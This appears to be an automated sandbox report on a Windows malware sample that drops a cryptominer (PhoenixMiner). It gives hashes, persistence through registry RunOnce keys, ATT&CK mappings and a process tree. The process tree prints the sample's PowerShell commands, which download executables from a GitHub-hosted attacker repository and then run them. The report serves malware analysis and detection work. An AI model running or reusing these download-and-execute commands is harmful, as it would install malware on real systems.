5b438029e5a3e3843b22f8f49fa1ccac728eeced3f923426be8b22c35b27b6f6

General

Target

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Size

8.3MB
MD5

9ed9ad87a1564fbb5e1b652b3e7148c8
SHA1

0c001b7e9615cbc22eac2a324d8deb7eaf069ff7
SHA256

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89
SHA512

e49e403a73ff1d10111d23cc70ae95ffae63abbc4a52cfc52c447ee9f15e76ab44f07d0f41e3b3e63a73a07e7748b8ac7ed8c997f1051a10ca5fad1dace4183a

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/bild.exe

exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe

Signatures

Executes dropped EXE 1 IoCs

Processes:

PhoenixMiner.exe

pid process

1108 PhoenixMiner.exe

pid	process
1108	PhoenixMiner.exe

Loads dropped DLL 4 IoCs

Processes:

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe

pid	process
1136	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
1136	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
1136	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
1136	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

PhoenixMiner.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	PhoenixMiner.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	PhoenixMiner.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

944 powershell.exe
1472 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 944 powershell.exe
Token: SeDebugPrivilege 1472 powershell.exe

pid	process
944	powershell.exe
1472	powershell.exe

description	pid	process
Token: SeDebugPrivilege	944	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exePhoenixMiner.exe

description	pid	process	target process
PID 1136 wrote to memory of 1108	1136	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 1136 wrote to memory of 1108	1136	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 1136 wrote to memory of 1108	1136	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 1136 wrote to memory of 1108	1136	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 1108 wrote to memory of 944	1108	PhoenixMiner.exe	powershell.exe
PID 1108 wrote to memory of 944	1108	PhoenixMiner.exe	powershell.exe
PID 1108 wrote to memory of 944	1108	PhoenixMiner.exe	powershell.exe
PID 1108 wrote to memory of 944	1108	PhoenixMiner.exe	powershell.exe
PID 1108 wrote to memory of 1472	1108	PhoenixMiner.exe	powershell.exe
PID 1108 wrote to memory of 1472	1108	PhoenixMiner.exe	powershell.exe
PID 1108 wrote to memory of 1472	1108	PhoenixMiner.exe	powershell.exe
PID 1108 wrote to memory of 1472	1108	PhoenixMiner.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
"C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1136

C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/jkh36/d/main/bild.exe,https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe -Destination lWr.exe,ck.exe;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command Start-Process lWr.exe; Start-Process ck.exe;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1472

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
45695a4cdab660cf807141619c9c6032

SHA1
5d1fcdbc2b988a28dc1d1903c19f896edcd16688

SHA256
b37848c77a0e93d8640d0508a281a42d65c16db4cdb5d5c82db37e9aa69f7153

SHA512
a9273c50fc96e6516455d29bf4237389824a34cb6f54bfbdd5913443e4deb0f41dc0dbcd3f129e3374452a014e4a0660cb055b2b49af7aa2b94b33119d7adba9

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

Download Submit
memory/944-64-0x0000000073B70000-0x000000007411B000-memory.dmp

Filesize
5.7MB

Download
memory/944-61-0x0000000000000000-mapping.dmp

Download
memory/944-63-0x0000000073B70000-0x000000007411B000-memory.dmp

Filesize
5.7MB

Download
memory/1108-59-0x0000000000000000-mapping.dmp

Download
memory/1136-54-0x0000000075681000-0x0000000075683000-memory.dmp

Filesize
8KB

Download
memory/1472-65-0x0000000000000000-mapping.dmp

Download
memory/1472-68-0x0000000073240000-0x00000000737EB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads